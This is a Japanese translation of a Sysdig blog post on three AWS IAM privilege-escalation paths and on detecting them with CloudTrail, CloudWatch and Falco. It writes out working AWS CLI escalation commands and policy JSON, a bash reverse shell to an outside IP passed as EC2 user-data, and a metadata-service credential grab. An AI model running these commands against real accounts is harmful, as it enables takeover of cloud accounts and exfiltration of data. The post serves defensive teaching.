IAM セキュリティの設定ミスの悪用とその検出方法

By 清水 孝郎 - DECEMBER 20, 2022
Topics: クラウド セキュリティ, 脅威リサーチ

SHARE:

本文の内容は、2022年12月20日にSTEFANO CHIERICI が投稿したブログ（https://sysdig.com/blog/iam-security-misconfiguration/)を元に日本語に翻訳・再構成した内容となっております。

これら3つのIAMセキュリティの設定ミスのシナリオは、かなり一般的なものです。これらの誤設定は、どのように悪用される可能性があるのか、また、どのように簡単に検出し修正することができるのか、ご覧ください。

アイデンティティとアクセス管理（IAM）の設定ミスは、クラウドセキュリティにおける最も一般的な懸念事項の1つです。ここ数年、このようなセキュリティホールによって、組織がクラウドアカウントに対する深刻な攻撃を受けるリスクが高まっていることが分かっています。

クラウド環境は、デフォルトでセキュリティが設定されている安全な場所のように見える人もいるかもしれません。しかし、実際のところ、セキュリティは責任共有モデルに従っています。例えば、AWSのコンソール・アクセスを保護するのはあなたの担当です。

しかし、あなたのユーザーやロールをめぐる誤った設定が、あなたの環境で適用されたらどうでしょうか。



攻撃者はそれらを使って王国の鍵を手に入れ、あなたの環境にアクセスし、深刻な被害を生み出すことができるのです。また、攻撃者がすでに侵入している場合、設定ミスによって、クラウドの横移動、機密データの漏洩、クリプトマイニングのような独自の目的でのアカウント利用が可能になることもあります。

この記事では、セキュリティのベストプラクティスを脇に置き、IAMセキュリティの誤設定に関する実際のシナリオに注目し、楽しみながら学んでいきます。攻撃者がこれらのIAMの誤った設定を利用して、深刻な問題を引き起こすことが可能であることを紹介します。

IAMセキュリティの設定ミスが大問題になる理由

AWS Identity and Access Management (IAM) は、AWSのサービスやリソースへのアクセスを安全に管理できるようにするものです。IAMを使用すると、AWSユーザーとグループを作成して細かく管理し、パーミッションを使用してAWSリソースへのアクセスを許可および拒否することができます。

IAMの内容から、これは私たちが注力すべきインフラストラクチャーの一部であることに容易に理解できるでしょう。このサービスの設定を誤ると、ユーザーやグループがインフラストラクチャーに大きな損害を与える可能性があります。

クラウド環境では権限の粒度が細かいため、最小権限の概念を適用して、ユーザーがアクションを実行するのに必要なものだけを慎重に与えることが絶対条件となります。たった1つの権限の設定ミスが、攻撃者による環境内での権限昇格につながる可能性があります。

Cloud permissions gap

また、ユーザーが望まないアクションを実行することを可能にするのは、しばしば単一の権限ではなく、この単一の誤った設定された権限と、ユーザーがすでに所有している他のすべての権限との組み合わせであることを強調することが重要です。そのため、ちょっとした設定ミスがアカウント全体に大きな影響を与える可能性があるのです。

実際のシナリオを深く掘り下げ、AWSにおける3つの設定ミスを詳しく見て、それらがあなたの環境に与える大きな影響を理解しましょう。

IAMセキュリティの設定ミスのシナリオ

シナリオ #1: ユーザが新しいポリシーバージョンを作成できる

このシナリオでは、Pastebinで有効な認証情報を見つけた攻撃者が、クラウド環境にアクセスすることができます。その結果、侵害されたユーザーは、IAMポリシーの1つの新しいバージョンを作成する権限を持っていることが判明しました。

これにより、攻撃者は独自のカスタム権限を定義し、AWSアカウントへの完全な管理者アクセス権を得ることができます。

First real scenario

攻撃者は、侵害されたユーザー malloryを使用してクラウド環境にアクセスすることができました。

aws sts get-caller-identity

Output AWS command with user identity

そのユーザーにアタッチされているユーザー mallory のポリシーを見ると、 IAM_policy がアタッチされていることがわかります。

aws iam list-attached-user-policies --user-name mallory

Output AWS command with a list attached user policies

 get-policyメソッドを使用すると、ポリシーに関する詳細な情報を抽出することができます。

aws iam get-policy --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy

Output AWS command get policy

このポリシーで付与された権限を確認すると、 iam:CreatePolicyVersion という権限が付与されていることがわかります。この権限により、新しいポリシーのバージョンを作成することで、管理されたポリシーを更新することが可能です。

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy --version-id v1

Output AWS command get policy version

攻撃者は、次のJSONファイルとともに特権を使用して、新しいポリシーバージョンを作成し、ポリシーを更新し、AWSマネージドロール AdministratorAccess を追加して、環境へのフルアクセスを取得することができます。

{
    "Version": "2012-10-17",
    "Statement": [
        {
           "Effect": "Allow",
           "Action": "*",
           "Resource": "*"
        }
    ]
}


新しいポリシーバージョンを作成するとき、攻撃者はそれをデフォルトのものとして設定して、それを有効にする必要がああります。

これを行うには、 iam:SetDefaultPolicyVersion  権限を持つ必要があります。

しかし、新しいポリシーバージョンを作成するときに、 iam:SetDefaultPolicyVersion  パーミッションを必要とせずに、新しいデフォルトバージョンとして自動的に作成する  --set-as-default  フラグを使用することが可能です。

マジック! 🪄

以下のコマンドで、攻撃者は新しいポリシーを作成し、環境内の特権を管理者に昇格させることができます。

aws iam create-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy --policy-document file://privesc.json --set-as-default

Output AWS command create policy version

先ほどと同様に get-policy でポリシーを確認すると、 defaultVersionId の値が変更されていることが確認できます。

aws iam get-policy --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy

Output AWS Command get policy

ここで、新しいポリシーバージョンで付与された権限を確認すると、フルアクセスロールへの権限昇格に成功したことが分かります。

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/IAM_Policy --version-id v2

Output AWS command get policy version

この現実のシナリオで見たように、IAM権限（この場合は iam:CreatePolicyVersion ）を誤って設定したユーザーは、攻撃者にクラウドアカウントの完全な侵害をもたらし、他の接続アカウントも侵害される可能性があります。

シナリオ #2: ユーザーがあるロールのAssumeRolePolicyDocumentを更新できる

このシナリオでは、攻撃者は内部ユーザーをフィッシングしてアカウントにログインするために有効なAWS認証情報を取得することができました。侵害されたユーザーは、IAMポリシーを誤って設定し、既存のあらゆるロールの想定ロールポリシーを編集できるようにしています。

このユーザーは、最小限の権限から、アカウント内のEC2を完全に制御する権限まで持つことができます。

Second scenario
このケースでは、侵害されたユーザーは operatorです。

aws sts get-caller-identity

Output AWS command get identity

このユーザーが何かのグループに属しているかどうか、漁ってみましょう。

aws iam list-groups-for-user --user-name operator

Output AWS command list group for user

ラッキーでしたね。この場合、ユーザーは devOps グループに所属しています。

情報収集の段階で、攻撃者はアタッチされているポリシーを確認し、 dev-AssumeRoleという1つのポリシーがあることがわかりますが、これは面白そうですね。

aws iam list-attached-group-policies --group-name devOps



グループにアタッチされた AssumeRole ポリシーは、ユーザーがすべてのロールを引き受けることを許可しています。

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/assumeRole --version-id v1

Output AWS command get policy version

インラインポリシーを確認すると、漏洩したユーザーは IAM_Policyというポリシーも持っています。

aws iam list-user-policies --user-name operator

Output AWS command list user policies

IAM権限は設定ミスか、特定のタスクのために付与され、その後削除されていない権限であることが容易に理解できます。

ポリシーに含まれるアクションを確認すると、 iam:UpdateAssumePolicy がアタッチされていることが分かります。

aws iam get-user-policy --policy-name IAM_policy --user-name operator

Output AWS command get user policy

発見されたIAM権限で

  • ユーザーが引き受けることができるロールを編集することができる。
  • アカウント内でその権限を昇格させる。

以下のコマンドを使用すると、攻撃者は簡単に特権昇格させることができます。

aws iam update-assume-role-policy --role-name dev-EC2Full --policy-document file://privesc.json

上記のコマンドで使用される  privesc.json  ファイルでは、攻撃者は dev-EC2Full ロールトラストポリシーにユーザーARNを追加しています。

{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Allow",
      "Principal": {
        "AWS": "arn:aws:iam::7208********:user/operator"
    },
    "Action": "sts:AssumeRole"
  }
 ]
}

攻撃者は、assume-roleを使用して新しいロールになりすまし、次に進むことができます。これは、新しいロールでクラウド環境にアクセスするために使用できる一時的なセキュリティ証明書を返します。

aws sts assume-role --role-arn "arn:aws:iam::ARN-TARGET:role/dev-EC2Full" --role-session-name AWSCLI-Session

Output AWS command assume role

😲サプライズ!

ローカルで取得した新しいキーをインポートし、現在ログインしているユーザーを確認すると、攻撃者は環境内の権限を昇格させることに成功しました。もちろん、AWSが管理しているものも含め、すべてのポリシーにアクセスするために使用することができます。
aws sts get-caller-identity

Output AWS command get caller identity

これは、攻撃者にEC2に対する完全な特権を与え、その目的のためにインスタンスを生成する機会を与えるでしょう。

この現実のシナリオでは、 iam:UpdateAssumeRolePolicy  IAM権限を持つユーザーが誤って設定された場合、攻撃者がクラウドアカウント内のEC2を完全に制御できるようになる可能性があります。攻撃者にとっては、新しいインスタンスを作成したり、既存のインスタンスを破壊したりして、企業に深刻な損害を与える可能性があることを意味します。

シナリオ#3：EC2インスタンスを作成し、そのロールをパスすることができる

このシナリオでは、IAMとEC2特権の組み合わせにより、攻撃者が特権をゼロからヒーローに昇格させてアカウントに侵入する様子を見ることができます。

攻撃者は、スピアフィッシング攻撃によって有効なAWS認証情報を取得することができました。侵害されたクラウドユーザーは、EC2インスタンスを実行する権限と、ロールを渡す権限を持っています。

これらの特権を使用して、敵はアカウント内の特権を昇格し、EC2インスタンスを実行し、バケットS3に格納されている情報を流出させることができます。

Third scenario

以下の画像からわかるように、侵害されたユーザーはグループ DevOpsに所属しています。

aws iam list-groups-for-user --user-name operator

Output AWS command list groups for user

グループに付与された権限を確認すると、2つのポリシーが付与されていることがわかります。

aws iam list-attached-group-policies --group-name devOps

Output AWS command list attached group policies

 dev-Ops ポリシーに着目すると、 iam:PassRole と ec2:RunInstances のパーミッションがアタッチされていることがわかります。

aws iam get-policy-version --policy-arn arn:aws:iam::ARN-TARGET:policy/dev-Ops --version-id v1

Output AWS command get policy version

この2つの権限を組み合わせることで、設定ミスしたユーザーに新しいEC2インスタンスを作成させることができます。それだけでなく、OSへのアクセスも可能になり、既存のEC2インスタンスのプロファイル/サービスロールを渡すことができるようになります。

🤯

下のように、 run-instancesというコマンドを実行すると、ユーザーはアカウントで収集した他の情報を使って新しいインスタンスを実行できるようになります。このフラグを使うことで、インスタンス作成時に、さらなる権限を持たずに直接  --iam-instance-profile を渡すことが可能です。

クラウドアカウントで利用可能なロールに目を通すと、 devOps-S3Full ロールが面白そうで、EC2サービスで利用できそうです。
aws ec2 run-instances --image-id ami-a4dc46db --instance-type t2.micro --iam-instance-profile Name="devOps-S3Full" --user-data file://revshell.sh

Output AWS command run instances

 revshell.sh スクリプト ファイルには、何らかの方法で bash リバース シェルを開くスクリプトが含まれており、以下のコードで報告されています。 インスタンスを作成するために、攻撃者は SSH キーやセキュリティ グループを必要としないことに注意してください。

#!/bin/bash
bash -i >& /dev/tcp/107.21.43.88/443 0>&1

マシンが起動すると、スクリプトが実行され、攻撃者はマシン上でrootユーザーで実行中のシェルを取得することができます。このようにして、攻撃者はマシンを完全に制御し、以下の画像に見られるように、好きなことを実行することができます。

Output AWS command

先に見たように、 PassRole 権限を使用している間、ユーザーは作成されたマシンに好きな権限を渡すことができます。

この場合、攻撃者はインスタンスに FullS3bucket のアクセス権を渡しています。

curl http://169.254.169.254/l2021-07-15/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Output AWS credentials

攻撃者はインスタンスにログインし、EC2インスタンスのメタデータから関連するAWSキーを要求することができます。前に見たように、攻撃者は一時的なクレデンシャルをインポートし、それを使って前に作成したEC2に関連するロールでクラウドアカウントにログインすることができます。
aws sts get-caller-identity

Output AWS command get identity

一度ログインすると、敵はS3バケットを完全に制御できるようになり、センシティブな情報を流出させたり、利用可能なバケットで見つかったすべてのファイルを破壊したりすることができるようになります。

このケースでは、攻撃者は、Kubernetes環境に関連する認証情報やその他の情報を含む興味深いバケットを発見しました。これらのファイルを削除すると、実行中の環境に深刻な損害が発生する可能性があります。

aws s3 ls

Output S3 list buckets command

この攻撃シナリオでは、2つのセキュリティの誤設定を組み合わせた攻撃者が、インスタンスプロファイル/ロールが持つ一連の権限にアクセスすることができたことを確認しましたが、これは権限の昇格なしからAWSアカウントの完全な管理者アクセスまでの範囲となります。

IAMセキュリティの設定ミスを検出する

これまで見てきた攻撃はすべて、環境のどこかでAWSセキュリティの設定ミスがあったために可能でした。

これらのユースケースは馬鹿げていたり、ありそうにないように聞こえるかもしれませんが、あなたは自分の環境でどのような権限が適用されているのかを明確に把握し、本当に知っていますか？

さらに重要なのは、適用された変更を追跡して検証することもできるのでしょうか？

クラウドの悪意ある変更の検出

幸いなことに、攻撃者が侵害されたユーザーに付随する権限を使用する場合、非常に認識しやすい足跡を残すことになります。

また、誰かがインフラストラクチャーに変更を加えているとき、”どのアクションがどのタイプのサービス上で実行されたか “といったトラックも残ります。

AWSは、環境で何が起こっているのかを把握するための強力な機能を提供しています。CloudTrailは、AWS Management Console、AWS Command Line Interface、AWS SDKやAPIから、ユーザーやロール、AWSサービスによって実行されたアクションを記録します。

CloudTrailを通じて、 UpdateAssumeRolePolicyを呼び出したオペレータユーザーを、ターゲットロールやその他のコンテキスト情報とともに確認することができます。

Output Cloudtrail event

AWSの別の機能であるCloudWatchを利用すると、CloudTrailのイベントを元にアラートを作成することが可能です。

今回は、以下のようなフィルタで誰かが機能を有効にした場合にアラートを作成してみましょう。

{ ( ($.eventSource = "iam.amazonaws.com") && (($.eventName = "Put*Policy") || ($.eventName = "Attach*") || ($.eventName = "Detach*") || ($.eventName = "Create*") || ($.eventName = "Update*") || ($.eventName = "Upload*") || ($.eventName = "Delete*") || ($.eventName = "Remove*") || ($.eventName = "Set*")) ) }
{ ( ($.eventSource = "iam.amazonaws.com") && (($.eventName = "Add*") || ($.eventName = "Attach*") || ($.eventName = "Change*") || ($.eventName = "Create*") || ($.eventName = "Deactivate*") || ($.eventName = "Delete*") || ($.eventName = "Detach*") || ($.eventName = "Enable*") || ($.eventName = "Put*") || ($.eventName = "Remove*") || ($.eventName = "Set*") || ($.eventName = "Update*") || ($.eventName = "Upload*")) ) }

なぜIAMセキュリティの設定ミスを検出するのは難しいのでしょうか？

攻撃者がセキュリティの誤設定によってユーザーを侵害することに成功した後、それを検出する際の難しい問題は、それ自体は本当に悪意のある行動ではないので、検出が難しい可能性があるということです。

インスタンスの実行やAssume Role Documentの更新は、正しい人が行えば正当な行為です。では、あるユーザーが本当に特定の行動を実行する権限があるのかどうかを知り、何か悪いことが起こる前に積極的に対策を講じるにはどうしたらよいのでしょうか。

この問いに答えるには、環境を明確に把握し、AWSのセキュリティベストプラクティスを適用する必要があります。クラウドIAMのベストプラクティスが適用されていると、各ユーザーやグループに付与された権限を評価する必要がある場合に便利です。例えば、devグループがIAMに関連するポリシーをアタッチしているのを見たとき、あなたの環境で最小特権の概念を適用していれば、この特定のグループに何か問題があることを簡単に理解することができます。

Conclusion image

しかし、ベストプラクティスを適用するだけでは十分ではありません。ベストプラクティスを確実に実施し、積極的に改善策を講じるには、自分の環境で何が行われているかを知る必要があります。もちろん、グループ、ユーザー、サービスアカウントにどのようなポリシーやロールが適用されているかを明確に把握することは、それほど簡単なことではありません。

クラウド上の異常なアクティビティを継続的に監視し、そこからセキュリティイベントを生成できるセキュリティツールに頼らざるを得ません。AWSの場合、CloudTrailイベントなどのソースからトレースを収集します。適切なツールを使えば、クラウドセキュリティを簡単に評価し、強化することができます。

最後に、オープンソースのランタイムセキュリティ脅威検知・レスポンスエンジンであるFalcoを使って、クラウド環境上で動作するアプリケーションやコンテナの挙動を観察することで、ランタイムに脅威を検知することができます。Falcoは、Falco Pluginsを介して、複数のクラウド環境にまたがる脅威検知のサポートを拡張しています。クラウド環境にFalcoエージェントをインストールするのではなく、クラウド事業者からFalcoにログをストリーミングすることで、ポスチャー管理の実行に必要な深い可視性を確保しています。

まとめ

今回紹介した実際のシナリオによる攻撃は、敵対者がIAMセキュリティの設定ミスを利用して、クラウド環境内で高い権限を得ることが可能であることを示しました。

このような攻撃は、オンラインで見つけた有効な認証情報、またはフィッシングでユーザーを騙して得た認証情報から始まり、さらに特権を拡大してアカウントを制御する可能性があります。

CloudTrailやCloudWatchなどのAWSの機能を活用することで、環境に変更が加えられた際にアラートを出し、自動的に対応することが可能です。


Sysdig Secureを使ったクラウドインフラストラクチャーエンタイトルメント管理（CIEM）の記事で、Sysdig Secure for cloudを使うことでいかに簡単に各攻撃シナリオを検知できるかをご覧ください。

 

Sysdig Secure DevOps Platformは、コンテナ、Kubernetes、クラウドを自信を持って実行するために必要な可視性を提供します。オープンソースのスタック上に構築され、SaaS型で提供されるため、運用と拡張が極めてシンプルです。

わずか数分でセットアップが完了します。今すぐお試しください！